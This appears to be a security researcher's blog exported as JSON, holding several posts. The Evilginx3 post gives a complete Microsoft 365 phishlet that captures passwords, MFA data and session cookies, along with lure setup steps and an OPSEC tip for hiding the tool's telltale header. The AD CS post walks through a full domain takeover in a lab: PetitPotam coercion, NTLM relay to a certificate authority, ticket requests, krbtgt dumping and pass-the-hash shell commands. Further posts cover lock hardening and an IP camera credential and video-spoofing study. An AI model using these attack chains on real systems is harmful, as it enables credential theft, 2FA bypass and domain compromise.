[{"content":" What is Evilginx? # Evilginx is a tool created by security researcher Kuba Gretzky, designed for advanced phishing attacks.\nAs per the GitHub page:\nEvilginx is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection.\nThe present version is fully written in GO as a standalone application, which implements its own HTTP and DNS server, making it extremely easy to set up and use.\nPlease refer to documentation and consider signing up for the Evilginx Mastery course to learn how to build custom / advanced phishlets.\nIt\u0026rsquo;s important to note that phishing is illegal and unethical without proper authorisation. This information is provided for educational purposes only, and I strongly discourage any misuse or illegal activities.\nDomain Setup # The domain setup process is fairly simple, but will depend on the domain registrar you use. Here\u0026rsquo;s a general overview of how it typically works:\nDomain Registration: Register a domain name for your phishing campaign. DNS Configuration: After registering the domain, you need to configure the domain\u0026rsquo;s DNS settings. evilginx will act as the DNS resolver, so you don\u0026rsquo;t need to manually add \u0026ldquo;A\u0026rdquo; records for your phishing domain / subdomains yourself. Instead you will change the glue records for your domain. Note: this is not supported by all domain registrars. A glue record contains the IP address of a nameserver, enabling the resolution of a domain when the nameserver is hosted within the same domain. For example, if the domain \u0026ldquo;example.com\u0026rdquo; has the nameserver \u0026ldquo;ns1.example.com\u0026rdquo;, a glue record would provide the necessary IP address for the \u0026ldquo;ns1.example.com\u0026rdquo; nameserver to be correctly resolved.\nUsing Godaddy for example (not an endorsement), with a fake domain michaelsoft.com and assuming evilginx is externally accessible via the following IP address 3.105.197.139:\nCreate hostname records:\nChange the nameserver:\nVirtual Private Server Setup # The steps to configure an external phishing host with evilginx is already well documented, so I have created the following bash script to automate this step.\nKeep in mind the following:\nThis script is intended to be run on a fresh ubuntu linux host (I have not tested it on any other OS) You may want to update the version of golang (don\u0026rsquo;t forget to update the checksum too) You may want to use a different terminal multiplexer (tmux instead of byobu) OPSEC: I have removed the lines of source code responsible for setting the X-Evilginx: header - this may change in future releases of evilginx You will need to configure firewall rules to allow inbound connections for HTTPS and DNS traffic Evilginx3 Configuration # You should now be able to create your own phishlets in /home/ubuntu/evilginx/phishlets such as the following m365.yaml phishlet for targeting Microsoft 365. More information on the phishlet format for v.3.0.0 and above can be found here.\nname: \u0026#39;Microsoft 365\u0026#39; min_ver: \u0026#39;3.0.0\u0026#39; proxy_hosts: - {phish_sub: \u0026#39;login\u0026#39;, orig_sub: \u0026#39;login\u0026#39;, domain: \u0026#39;microsoftonline.com\u0026#39;, session: true, is_landing: true, auto_filter: true} - {phish_sub: \u0026#39;account\u0026#39;, orig_sub: \u0026#39;account\u0026#39;, domain: \u0026#39;microsoft.com\u0026#39;, session: false, is_landing: false, auto_filter: true} - {phish_sub: \u0026#39;www\u0026#39;, orig_sub: \u0026#39;www\u0026#39;, domain: \u0026#39;office.com\u0026#39;, session: false, is_landing: false, auto_filter: true} - {phish_sub: \u0026#39;login\u0026#39;, orig_sub: \u0026#39;login\u0026#39;, domain: \u0026#39;microsoft.com\u0026#39;, session: false, is_landing: false, auto_filter: true} auth_tokens: - domain: \u0026#39;.login.microsoftonline.com\u0026#39; keys: [\u0026#39;ESTSAUTH:always\u0026#39;, \u0026#39;ESTSAUTHPERSISTENT\u0026#39;, \u0026#39;SignInStateCookie:always\u0026#39;] type: \u0026#39;cookie\u0026#39; credentials: username: key: \u0026#39;(login|UserName)\u0026#39; search: \u0026#39;(.*)\u0026#39; type: \u0026#39;post\u0026#39; password: key: \u0026#39;(passwd|Password|accesspass)\u0026#39; search: \u0026#39;(.*)\u0026#39; type: \u0026#39;post\u0026#39; custom: - key: \u0026#39;mfaAuthMethod\u0026#39; search: \u0026#39;(.*)\u0026#39; type: \u0026#39;post\u0026#39; login: domain: \u0026#39;login.microsoftonline.com\u0026#39; path: \u0026#39;/?auth=2\u0026#39; After starting evilginx, you can set the required values:\nconfig domain \u0026lt;your-phishing-domain\u0026gt; config ipv4 external \u0026lt;your-vps-ipaddress\u0026gt; It is recommended to prevent access from unauthorised prying eyes / scanners:\nblacklist unauth I also recommend changing the redirect_url from the default rick roll to something a little less obvious:\nconfig redirect_url https://example.com Configure the phishlet and lure:\nphishlets hostname m365 \u0026lt;your-phishing-domain\u0026gt; phishlets enable m365 lures create m365 lures get-url 0 The lure URL can be modified to fit your pretext, type help lures to get more info on what you can change.\nThere is a lot to cover when it comes to creating custom phishlets which is best covered in the Evilginx Mastery course material.\nTips for Defenders # Perform location validation Perform secret token validation Both of these topics are covered in the Evilginx Mastery course.\n","date":"16 July 2023","permalink":"/posts/phishing/how-to-set-up-evilginx3/","section":"Posts","summary":"Quick tutorial on how to set up evilginx3 phishing framework","title":"How to Set Up Evilginx3"},{"content":"","date":"16 July 2023","permalink":"/","section":"phish","summary":"","title":"phish"},{"content":"","date":"16 July 2023","permalink":"/tags/phishing/","section":"Tags","summary":"","title":"phishing"},{"content":"","date":"16 July 2023","permalink":"/posts/","section":"Posts","summary":"","title":"Posts"},{"content":"","date":"16 July 2023","permalink":"/tags/","section":"Tags","summary":"","title":"Tags"},{"content":"","date":"17 June 2022","permalink":"/tags/active-directory/","section":"Tags","summary":"","title":"Active Directory"},{"content":"","date":"17 June 2022","permalink":"/tags/ad-cs/","section":"Tags","summary":"","title":"AD CS"},{"content":"This is nothing new, I am just documenting my approach to exploiting an Active Directory (AD) environment with a misconfigured Active Directory Certificate Services (AD CS). This is only one method of many\u0026hellip; I highly recommended to read the original research on attacking AD CS by Will Schroeder and Lee Christensen - Certified Pre-Owned. I also recommend reading this blog post for more details about Certipy, which is a fantastic tool for enumerating and abusing AD CS.\nOverview and Background # The Certificate Authority Web Enrollment, Certificate Enrollment Policy Web Service, and Network Device Enrollment Service roles in AD CS support HTTP-based certificate enrollment. If NTLM relay protections are not enabled (by default they are not), then these enrollment interfaces are vulnerable to NTLM relay attacks. We will focus on the Web Enrollment interface which is accessible via http://\u0026lt;ca-server\u0026gt;/certsrv/, as I have seen this endpoint on several internal networks. This endpoint by default only supports HTTP (which cannot protect against NTLM relay attacks) and allows NTLM authentication.\nOne of the most frustrating parts of an internal (for me) has always been waiting for a high privilege accounts to attempt to connect to Responder, so you can capture and try relay the hash to another host which has SMB signing disabled. However, tools such as PetitPotam and SpoolSample ( Dementor - python implementation) have come to the aid of impatient attackers waiting for hashes to roll in, and provides a way to coerce an account to authenticate to us. In this post, we will coerce authentication from the Domain Controller (DC) to our attacker machine, which is configured to relay the NTLM authentication request to a vulnerable CA Web Enrollment endpoint. Once the certificate is intercepted, it can be used to request a Ticket Granting Ticket (TGT) for the DC$ machine account - allowing us to Pass-the-Ticket or UnPAC and Pass-the-Hash to compromise the domain.\nLab Notes # Domain: lab.local\nDomain Controller:\nWindows Server 2019 dc.lab.local 172.30.0.136 Certificate Authority:\nWindows Server 2016 ca.lab.local 172.30.0.21 Attacker Machine:\nUbuntu 22.04 172.30.0.232 Assumption that the following user account has been compromised:\nUsername: jdoe Password: Password123 For the NTLM relay attack to work, the following conditions need to be true:\nAD CS is running either of these services:\nCertificate Authority Web Enrollment Certificate Enrollment Web Service NTLM-based authentication is supported and Extended Protection for Authentication (EPA) is not configured (these are the default settings)\nNTLM Auth Enabled EAP Disabled NTLM Auth Enabled](/images/ad/adcs-esc8/ntlm-based-auth-enabled.png) | EAP Disabled If you are building a lab to test this on yourself, keep in mind that:\nYou cannot relay NTLM credentials to the same host that is initiating the authentication request. This is called NTLM reflection and it used to work but has been patched (several times). So make sure you don\u0026rsquo;t set up your CA (running AD CS) on the same host as the DC.\nWhen requesting a Kerberos authentication ticket (TGT), if you get the following error: KDC_ERR_CLIENT_NOT_TRUSTED, you have likely not imported the CA certificate into the DC.\nThis typically happens when user’s smart-card certificate is revoked or the root Certification Authority that issued the smart card certificate (in a chain) is not trusted by the domain controller.\nAttacking ADCS (esc8) # Tools # Note: you won\u0026rsquo;t need all of these tools, as I am covering various ways to perform the attack. So use whatever tool(s) work for you.\nOS Requirements\nsudo apt install -y python3 python3-pip ldap-utils Certipy\ngit clone https://github.com/ly4k/Certipy cd Certipy sudo python3 setup.py install Impacket - You no longer need the ExAndroidDev fork of impacket, as their awesome work (ntlmrelayx-adcs-attack branch) was merged into SecureAuthLab\u0026rsquo;s master branch.\ngit clone https://github.com/SecureAuthCorp/impacket cd impacket sudo python3 -m pip install -r requirements.txt sudo python3 -m pip install . PKINITtools\ngit clone https://github.com/dirkjanm/PKINITtools cd PKINITtools python3 -m pip install -r requirements.txt PetitPotam\ngit clone https://github.com/topotam/PetitPotam Dementor\ngit clone https://github.com/NotMedic/NetNTLMtoSilverTicket Identify the CA (Manually) # On Linux, if you don\u0026rsquo;t already know the CA server details, you can try find it using the following query - which should return members of the \u0026ldquo;Cert Publisher\u0026rdquo; group. As per Windows:\nMembers of this group are permitted to publish certificates to the directory.\nldapsearch -LLL -x -H ldap://172.30.0.136 -b \u0026#34;dc=lab,dc=local\u0026#34; -D jdoe@lab.local -w Password123 \u0026#34;(\u0026amp;(objectCategory=group)(cn=Cert Publishers))\u0026#34; You could also try searching by computer description:\nldapsearch -LLL -x -H ldap://172.30.0.136 -b \u0026#34;dc=lab,dc=local\u0026#34; -D jdoe@lab.local -w Password123 \u0026#34;(\u0026amp;(objectCategory=computer)(description=*cert*))\u0026#34; On Windows, you can use the certutil application to easily identify the CA:\ncertutil.exe Once you have identified the CA server, open a web browser and verify that the certificate web enrollement service is running:\nEnumerate AD CS Configuration # We will use Oliver Lyak\u0026rsquo;s python implementation of Ceritfy - Certipy (which will also identify the CA for us), to enumerate details about the AD CS configuration - specifically which templates are supported. As per the github readme:\nThe find command is useful for enumerating AD CS certificate templates, certificate authorities and other configurations.\ncertipy find \u0026#39;lab.local/jdoe:Password123@dc.lab.local\u0026#39; Looking at the output, we can see that Ceritpy identified the CA server and that the HTTP Web Enrollment service is enabled:\nThere are some custom bloodhound queries which can quickly identify misconfigured certificate templates.\nNote: this is only scratching the surface of what you can do with Certipy. It is an extremely useful offensive tool for abusing AD CS. I found this out close to the end of writing this blog as I had the tool on my list of things to read but didn\u0026rsquo;t get around to it until it was too late.\nNTLM Relay Set Up # The first step is to set up our attacker machine to perform the NTLM relay attack using impacket\u0026rsquo;s ntlmrelayx\nsudo python3 impacket/examples/ntlmrelayx.py -debug -smb2support --target http://ca.lab.local/certsrv/certfnsh.asp --adcs --template DomainController Coercing Authentication of the DC to our Attacker Machine # Next, we need to coerce authentication of the DC to our attacker machine, so we can relay the authentication request to the CA.\nPetitPotam.py -d \u0026lt;domain\u0026gt; -u \u0026lt;user\u0026gt; -p \u0026lt;password\u0026gt; \u0026lt;attacker-ip\u0026gt; \u0026lt;target-ip\u0026gt;\npython3 PetitPotam/PetitPotam.py -d lab.local -u jdoe -p Password123 172.30.0.232 172.30.0.136 After executing PetitPotam, the authentication request is relayed via our attacker machine to the CA server and a certificate was issued for the DC machine account (DC$).\nLooking at the CA server, we can see that the new certificate (Request ID:4) that has been issued:\nPass-the-Ticket # We need to decode the base64 encoded certificate blob that we intercepted and write the output into a file.\necho \u0026#34;MIIRpQIBAzCCEV8GCSqGSIb3DQEHAa...\u0026#34; | base64 -d \u0026gt; cert.pfx We can then use the certificate to impersonate the DC machine account (DC$) and use DirkJam’s gettgtpkinit script to request a Ticket Granting Ticket (TGT).\npython3 PKINITtools/gettgtpkinit.py \u0026#39;lab.local/dc$\u0026#39; -cert-pfx cert.pfx dc.ccache Now that we have a valid TGT, we need to request a Service Ticket (ST) ticket with Kerberos S4U2Self. This can be done using DirkJam’s gets4uticket script to obtain a service ticket to the CIFS service for the local administrator of the DC - this is known as a silver ticket 🎟.\nKRB5CCNAME=dc.ccache python3 PKINITtools/gets4uticket.py \u0026#39;kerberos+ccache://lab.local\\dc$:dc.ccache@dc.lab.local\u0026#39; cifs/dc.lab.local@auralab.local Administrator@lab.local Administrator.ccache -v Finally we can pass-the-ticket and use impacket\u0026rsquo;s secretsdump script to loot the DC\u0026rsquo;s NTDS.dit file. As an example, we can retrieve the hash of the krbtgt account, allowing us to craft golden tickets 🎫.\nKRB5CCNAME=Administrator.ccache python3 impacket/examples/secretsdump.py -just-dc-ntlm -user-status -k lab.local/Administrator@dc.lab.local -no-pass -just-dc-user Administrator Dumping the entire NTDS.dit file is a bit overkill on an engagement as all of the user accounts and service accounts should be reset after they have been compromised. On a large customer network, with several hundred service accounts being used, this could cause many hours of work.\nKRB5CCNAME=Administrator.ccache python3 impacket/examples/secretsdump.py -just-dc-ntlm -user-status -debug -k lab.local/Administrator@dc.lab.local -no-pass -outputfile dc-lab-secretsdump Alternatively: UnPAC and Pass-the-Hash # Instead of passing the ticket, we could extract the NT hash of the DC machine account (DC$). This is done using DirkJam’s getnthash script and the previously obtained TGT. A service ticket request (TGS-REQ) is sent to the KDC for user-to-user (U2U) authentication. The service ticket response (TGS-REP) contains the PAC_CREDENTIAL_INFO, which was encrypted with the session key (AS-REP) from the original TGT and can be used to extract the NT hash of the DC machine account.\nKRB5CCNAME=dc.ccache sudo python3 PKINITtools/getnthash.py \u0026#39;lab.local/dc$\u0026#39; -key db89b471b9aae3e77255158503d64badc6354c325b7937074924bfd0b0b09dfd Note: Machine accounts (in this case DC$) don\u0026rsquo;t have enough privileges to execute commands with wmiexec. However, we can use the NT hash of the DC machine account to retrieve the DC local Administrator NTLM hash.\nsudo python3 impacket/examples/secretsdump.py -hashes :fbe7ae23ece0b7fe4a3f2d1dfde5682a \u0026#39;lab.local/dc$@dc.lab.local\u0026#39; -just-dc-user Administrator Once we have obtained the NTLM hash of the local Administrator account for the DC, we can perform a pass-the-hash attack and gain shell access using impacket\u0026rsquo;s wmiexec script.\nsudo python3 impacket/examples/wmiexec.py -hashes :4ea013e3dcbd5ee3bb088615b7589b19 lab.local/Administrator@dc.lab.local We could also have used the NT hash of the DC machine account to retrieve the NTLM hash of the krbtgt account - allowing us to generate golden tickets.\nsudo python3 impacket/examples/secretsdump.py -hashes :fbe7ae23ece0b7fe4a3f2d1dfde5682a \u0026#39;lab.local/dc$@dc.lab.local\u0026#39; -just-dc-user krbtgt Notice me Certipy # As I mentioned earlier, you could actually perform most of the attack chain with Certipy. Additionally, Certipy can exploit many more AD CS misconfigurations and will be my go-to tool in the future when it comes to attacking AD CS.\nNTLM Relay Setup # sudo certipy relay -ca ca.lab.local -template DomainController Coercing Authentication of the DC to our Attacker Machine # To keep things a little interesting at this point, let\u0026rsquo;s use 3xocyte\u0026rsquo;s dementor.py script to exploit the print spooler ( SpoolSample) bug. This will have the same effect of coercing authentication of the DC to our attacker machine.\nCheck if the Print System Remote Protocol (spoolss) is enabled by querying the RPC UUID using impacket\u0026rsquo;s rpcdump.py script:\npython3 impacket/examples/rpcdump.py dc.lab.local | grep \u0026#34;12345678-1234-ABCD-EF00-0123456789AB\u0026#34; -B 2 python3 dementor.py \u0026lt;attacker-ip\u0026gt; \u0026lt;target-ip\u0026gt; -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt; -d \u0026lt;domain\u0026gt;\npython3 NetNTLMtoSilverTicket/dementor.py 172.30.0.232 172.30.0.136 -u jdoe -p Password123 -d lab.local If the relay attack is successful, the certificate and private key will be saved as a PFX file - dc.pfx in this instance.\nPass-the-Ticket or UnPAC and Pass-the-Hash # Similar to how to did before, we can obtain a TGT and recover the NT hash of the DC machine account using the auth command of Certipy. As per the readme:\nThe auth command will use the PKINIT Kerberos extension to authenticate with the provided certificate to retrieve a TGT and the NT hash of the user.\ncertipy auth -pfx dc.pfx You could now either pass-the-ticket using the credential cache (dc.ccache) or pass-the-hash of the DC$ machine account and execute impackets secretsdump as I have already covered previously.\nMitigation # \u0026ldquo;Harden AD CS HTTP Endpoints – PREVENT8\u0026rdquo; of the original whitepaper covers the mitigation of this issue. https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429 Links \u0026amp; References # Will Schroeder \u0026amp; Lee Christensen - Certified Pre-Owned: https://posts.specterops.io/certified-pre-owned-d95910965cd2 Gilles Lionel - PetitPotam POC: https://github.com/topotam/PetitPotam https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/ https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6 https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/ https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/adcs-+-petitpotam-ntlm-relay-obtaining-krbtgt-hash-with-domain-controller-machine-certificate https://www.sprocketsecurity.com/blog/the-ultimate-tag-team-petitpotam-and-adcs-pwnage-from-linux https://www.hackingarticles.in/domain-escalation-petitpotam-ntlm-relay-to-adcs-endpoints/ https://www.thehacker.recipes/ad/movement/ad-cs https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash Acknowledgements # Obviously to all the researchers and people who make these offensive tools.\nAlso a shoutout to my employer Aurainfosec for giving me time to learn and upskill :)\n","date":"17 June 2022","permalink":"/posts/ad/attacking-adcs-esc8/","section":"Posts","summary":"Guide to exploiting \u0026lsquo;ESC8 — NTLM Relay to AD CS HTTP Endpoints\u0026rsquo; from Linux to compromise a domain","title":"AD CS NTLM Relay Attack from Linux"},{"content":"","date":"7 April 2022","permalink":"/tags/locks/","section":"Tags","summary":"","title":"locks"},{"content":" Background # Note: I\u0026rsquo;m not a locksmith and this is in no way a replacement for a qualified locksmith. Do not make changes to locks that you depend on, or if you do, it is at your own risk.\nCheap locks are not generally known for being very robust or effective against a suitably-skilled attacker and often have a plethora of flaws. They are trivial to pick, bump, shim or bypass in a number of other ways. It is important to keep in mind that locks are graded by the amount of time they are likely to deter someone, rather than their ability to prevent access altogether. There are a few relatively simple things that can be done to improve the security of a lower budget residential lock, which I will cover in this post.\nIt is important to remember that residential locks are not comparable to high security commercial locks. It is not possible to modify a $20 lock from the hardware store and expect it to be as secure as a Ruko Merkur 401 or EVVA MCS. With that being said, if you invest in an average quality deadbolt, for example, a Lockwood 001 Deadbolt, there are a few things you can do to somewhat improve the overall security of the lock.\nLet\u0026rsquo;s start by taking a look at some of the factors that make pin-tumbler locks more secure:\nnumber of pins security pins key bitting modified pin chambers sidebars restrictive keyway key control (restricted keys) The list above does not cover installation of the lock. During physical engagements, we have seen really secure locks that are poorly installed, which probably deserves its own write-up. However, some quick wins include:\nuse a solid, secure door strike plate reinforcement lock reinforcement plate door hinge reinforcement plate use longer screws for strike plate and hinges (to penetrate studs) be aware of spacing under or on the sides of the door (making them susceptible to \u0026lsquo;under the door tool\u0026rsquo; and shimming) Basics # Before getting into the details, let\u0026rsquo;s quickly cover some of the basic parts of a pin tumbler lock and common terminology. These terms and additional useful information can be found over at the lockwiki - http://lockwiki.com/index.php/Pin-tumbler\nKey Pins (Bottom Pins) # The pins that are touched by the key. Key pins are sized differently corresponding to the different depth cuts on the key. When the correct key is inserted, the tops of all of the key pins are aligned at the shear line, allowing the plug to rotate.\nDriver Pins (Top Pins) # The pins placed between the key pins and the springs. In their resting position, the driver pins block rotation of the plug. In more advanced pin-tumblers, driver pins may be sized inverse to the key pins to defend against decoding and impressioning attacks, as well as overlifting techniques such as comb picking.\nPin Chambers # Vertical chambers that the pin stacks rest in and move up and down in.\nSprings # Springs placed above the pin stacks push pins into their resting position, ensuring that pins cannot be trapped above the shear line while the plug is in the default position.\nPlug (Core) # The plug is the inner piece of the lock that rotates upon insertion and turning of the correct key. The plug is connected to the cam to actuate the bolt mechanism when rotated.\nCylinder (Bible) # The cylinder is the outer piece of the lock that houses the upper pin chambers and the plug. Driver pins and springs are trapped in the cylinder\u0026rsquo;s pin chambers when the correct key is used and the plug rotated.\nMethodology # Since all the information in this post is already available online, my approach was to validate the various techniques used by \u0026ldquo;challenge lock\u0026rdquo; creators such as flywheel and many others.\nI pinned up my practice lock with individual security pins, as well as various combinations of security pins and then attempt to pick the lock, to observe and validate how pins behave and find combinations that work well together.\nThe intention of improving a lock\u0026rsquo;s security is to not only outright stop an unskilled attack such as raking or bumping, but also to provide confusing feedback to an experienced picker and increase the time, effort and tools required to pick the lock.\nModifications # Let\u0026rsquo;s focus on the factors that we can control (to some degree) as the lock owner to slightly increase the overall security of a consumer grade lock. One of the first places to start is rekeying the lock, which allows us to change the bitting, add additional pins (if there are empty chambers), as well as adding and optimising the security pins.\nRekeying the Lock # There are several tools which can make repinning a lock easier, such as pinning tweezers, plug followers and repinning kits (specific to each lock manufacturer):\nKey Bitting # Key bitting is the height of the cuts made in the key which lift the pins in the lock towards the shear line, allowing the key to actuate the locking mechanism and unlock the lock.\nDue to the largely randomised key bitting applied by manufacturers, many locks end up with relatively flat (similar height) bitting that makes picking and lower-skilled attacks like raking much faster. We can alter the key bitting to make it harder to pick and rake the lock due to oversetting (lifting the key pin past the shear line). This can be done by using a high-low bitting order.\nBy having one short key pin behind a long key pin results in the shaft of the pick oversetting the long pin when trying to push the short pin to the shear line if an especially deep hook is not used. This can be seen in the image below. Conversely, the long key pin makes it easier to overset this pin if using a deep hook or aggressive raking.\nThe following video covers this topic in more detail: https://www.youtube.com/watch?v=fffL-kmmi4E\nIt is important to refer to the manufacturer\u0026rsquo;s bitting specification chart and respect the Maximum Adjacent Cut Specification (MACS). This defines how deep cuts can be next to each other. Having the adjacent cut too agressive can make a key that is difficult to insert and to take out, which adds stress and wear and tear to the lock.\nNumber of Pins # Some (not all) locks have six pin chambers, but only five have been populated - sometimes for different destination markets, or simply to save on costs during the manufacturing process. A quick way to increase the security of the lock is to repin the lock and populate the sixth pin chamber.\nThis will require a new key being cut, however, changing the key bitting (which we cover later) will render the original key unusable anyway.\nSecurity Pins # As per the lockwiki:\nA security pin is a modified version of a driver or key pin in a pin-tumbler lock that makes manipulation more difficult. Security pins are commonly designed to prevent lockpicking, but are also designed to resist decoding, impressioning, key bumping, and other compromise techniques.\nThere are many different types of security pins. Without listing them all, here are some examples:\nspool serrated spoorated mushroom rattle snake pin in pin hybrid (mixture of above) The image below from the lockpicking reddit ( https://www.reddit.com/r/lockpicking/comments/elmxe0/commercial_pin_types/) shows a few of these examples:\nKeep in mind, you don\u0026rsquo;t want to replace all of the pins in the lock with security pins. This will increase the wear and tear on the lock and make the lock sticky/hard to use (even with the proper key).\nMaking Custom Security Pins: # Making your own custom security pins can be a lot of fun. However, I noticed some tools work better for certain tasks. Repinning kits contain a variety of different length driver and key pins, or if you know the sizes you need, you can also buy them individually.\nHere is a short list of tools that will come in handy:\nrotary tool (like a dremel to hold and spin the pin) set of small files (for spool and mushroom pins) xacto saw (for serrated pins) small drill bits (for pin in pin) Mini File Set Rotary Tool There is a bit of a learning curve that generally comes with trial and error, such as using an xacto saw to create serrated pins instead of using a file.\nThe serrated pin on the left was created with a file, whilst the one on the right was created using an xacto saw. As you can see, the serrations are a lot sharper when an xacto saw is used.\nSerrated using File Serrated using Xacto Saw Most lock manufacturers only seem to create security pins for the driver pins and very few (especially lower budget locks) will have any modified key pins. Key pins with serrations will catch on the shear line and threads (if the pin chamber is threaded), making the lock harder to pick, especially when combined with a high-low key bitting order.\nIf you\u0026rsquo;re modifying pins, make sure that the pin diameter is not excessively reduced, as this can make the lock operate unreliably or more susceptible to destructive attacks.\nOptimizing Security Pins # When repinning a lock with security pins, randomly placing pins in various chambers (as done by many manufacturers) may not deliver the desired result.\nFor example, placing a spool pin in a chamber with a long key pin means that the edge of the spool pin is always above the shear line, and the spool pin never comes into play. There is essentially no added benefit of this configuration.\nTo maximise the effectiveness of the security pins, the following guidelines should be kept in mind:\nspool pins are most effective over shorter key pins spool pins are more effective when a strong spring is used serrated pins are most effective over longer key pins serrated pins are more effective when both driver and key pins have serrations serrated pins work well in threaded pin chambers Cylinder and Plug Modifications # Threading Pin Chambers # Threading pin chambers is a tricky job. Both the plug and the upper pin chamber (in the bible/cylinder) can be threaded. However, tapping the pin chambers may harm tight tolerances in the lock and make picking easier. It is important that if you attempt to tap the pin chambers, that you use an appropriately sized tap, which does not widen the pin chamber.\nFor the plug shown below, an M3 tap was used to thread the two pin chambers on the left.\nSprings # Using strong springs in combination with spool pins makes raking a lock a lot more difficult and can prevent a pick from being withdrawn from the keyway.\nThis can be seen in the following video: https://youtu.be/_NZeOOYI3Lg?t=249\nMixing spring types and using extra strong or double springs can also help to resist kinetic attacks such as bumping.\nKey Control # Key control (restricted key) is a system of administering key blanks to prevent locksmiths from cutting additional keys, unless an authorised party has explicitly allowed them to.\nEthical locksmiths will honour this and refuse to duplicate keys marked as restricted. However, there are advanced key cutting machines which can essentially copy a key (similar to 3d printing), which may be used to copy a restricted key.\nReplace the Existing Core with a Better One # This option is probably the most expensive enhancement you could make, and you could arguably just buy a better lock. However, replacing the core with another one with a more restrictive keyway could increase the security of the lock and make accessing the pins or even inserting picks a nightmare.\nThe image above is from The Lockpicking Lawyer ( https://www.youtube.com/watch?v=GncYzuRMtb8), and despite how restrictive some of those keyways are, they may still be pickable by skilled individuals.\nSummary # We can increase the overall security of a lower budget lock by:\nincreasing the number of pins (for example from five to six) creating a tricky bitting order replacing regular key pins with security pins modifying the regular key pins into security pins optimising the layout of the security pins to maximise their effectiveness replacing weak springs with strong springs carefully threading pin chambers Useful Links # Custom Security pins:\nhttps://www.youtube.com/watch?v=m9i_IVrltsc https://www.youtube.com/watch?v=0Xg3PKoOKXc https://www.youtube.com/watch?v=1kZI1hicyo0 https://www.youtube.com/watch?v=JkKCDjihZS0 https://www.reddit.com/r/lockpicking/comments/gnnvq6/rattlerattlesnake_security_pin_variations_link_in/ Threading pin chambers:\nhttp://keypicking.com/viewtopic.php?f=9\u0026t=7548 https://www.lockpicking101.com/viewtopic.php?f=3\u0026t=64071 Bitting:\nhttps://www.youtube.com/watch?v=fffL-kmmi4E Restrictive keyways:\nhttps://www.youtube.com/watch?v=GncYzuRMtb8 ","date":"7 April 2022","permalink":"/posts/physec/improving-general-lock-security/","section":"Posts","summary":"A quick look at some basic pin-tumbler locks and how we can modify them to make them a bit more pick resistant","title":"Modifying Locks to Improve Security"},{"content":"","date":"7 April 2022","permalink":"/tags/physical-security/","section":"Tags","summary":"","title":"physical-security"},{"content":" Background # The v380 Pro is an extremely cheap (roughly $30 USD) IP camera produced by Macro-Video technologies that seems to be pretty popular.\nMacro-video technologies is a leading CCTV manufacturer in China market, we have been doing CCTV business for more than 8 years\nThese IP cameras are, like many \u0026ldquo;Internet of Things\u0026rdquo; devices, often poorly secured, so I decided to obtain a camera and took a look for myself.\nThese cameras are sold under various brand names by several different vendors. Most of the hardware and software comes from the same underlying source, so the research discussed here likely applies to other camera models. For example, this camera was purchased from Banggood under the brand name GUUDGO.\nThe camera can be connected to a network using wired Ethernet or via Wi-Fi. It\u0026rsquo;s configured using an Android or iOS app, or using a thick-client for Windows.\nOnce configured, the camera can be remotely found and streamed via the phone apps and a cloud-based streaming system (described below). The cameras are identified with a cloud device ID and are secured via a username and password.\nPrevious Research # As with most research projects, it\u0026rsquo;s worth investigating if any other previous research has been done so as to avoid reinventing the wheel.\nI found an article by Cyberlink Security, where they\u0026rsquo;d already found a hard-coded key (macrovideo+*#!^@) used to encrypt packets containing the device\u0026rsquo;s admin password when being sent from the mobile app to the backend server.\nI verified that this hard-coded key is still being used and went over their method for enumerating cloud device ID\u0026rsquo;s, which I slightly modified.\nThis is a good start, but can we go further? I decided to look at the camera side of the system, rather than the client side.\nHow the Camera Streams via the Cloud # Note: Of course, it\u0026rsquo;s not possible for me to know exactly how the back end systems work, so I\u0026rsquo;ve had to make a few assumptions.\nBefore going into the findings, it helps to understand how the system works. There appears to be three main elements to the system:\nThe IP camera itself Client application (Android / iOS apps or a Windows native client) Backend servers (master and relay servers) When turned on, the cameras register with the master server with details such as their MAC address and firmware version. Importantly, this also includes the unique cloud device ID. This associates the ID with the source IP, which is communicated with over UDP.\nWhen a client asks the cloud to stream video from the camera, the master server contacts the camera and provides it information of a relay server to connect to. The camera connects to this relay server, which provides the username and password provided by the client app. If the camera accepts the username and password, the video stream is sent to the relay server, which in turn sends it to the client app.\nFindings # Most IoT research focuses on getting a shell on the device. However, my goals were a bit different and I wanted to focus on a practical attack against the IP camera.\nCapturing Device Credentials # While doing packet analysis, I noticed that the relay server sends the username and password in cleartext to the camera. This was pretty interesting, so I decided to investigate this further.\nMy first thought was that it might be possible to pretend to be an arbitrary camera by spoofing its registration under a given cloud camera ID to the backend servers, handle the relaying process, and then receive these password packets.\nTo do this I first looked at the packets sent by the real IP camera as part of registration to the master server. After plugging in the camera and capturing the data with Wireshark, we can see the following packets are sent to the master and relay servers:\nThe next step was to attempt to emulate this with python. The following proof-of-concept sends the packets required to register a camera to the master server and handles the connection to the relay servers.\nAfter running, when a user attempts to stream the camera through the cloud, their username and password is captured:\nWe now have the three magic bits of information required to successfully connect to the real camera\u0026rsquo;s stream!\nCamera cloud device ID Username Password Injecting Video Footage # My next thought was that, since we can get this far in the \u0026ldquo;start a video stream\u0026rdquo; request process, the next step is for the script to tell the relay server that the password is correct. From here, the script can start sending video data through the relay server to the client.\nThe video feed is sent via TCP directly after the relay server sends the final UDP packet starting with fe.., which indicates \u0026ldquo;start streaming\u0026rdquo;.\nA second proof-of-concept was created to inject a video feed after the relay server had authenticated to the camera. The net result is that the user sees faked video rather than their real camera:\nThis immediately reminded me of the 1996 movie \u0026ldquo;Speed\u0026rdquo;, where the police attempt to trick the bad guy by finding the video feed from the CCTV camera in the bus, looping it and sending it back to him:\nThis concept has also been used in several heist movies, where the camera is watching some valuable items (a bank vault or something valuable) and the bad guys are able to loop the video footage to appear as normal while they steal said valuable items. A quick demo of a real-world attack is shown below.\nBut why does this even matter? These cameras are just watching useless things like someone\u0026rsquo;s backyard right? According to the Macro-Video technologies website; these cameras are widely used in banks, stores factories, and so on.\nAs mentioned earlier, these devices are also often rebranded and sold by different vendors. In this instance, the v380 is also commonly 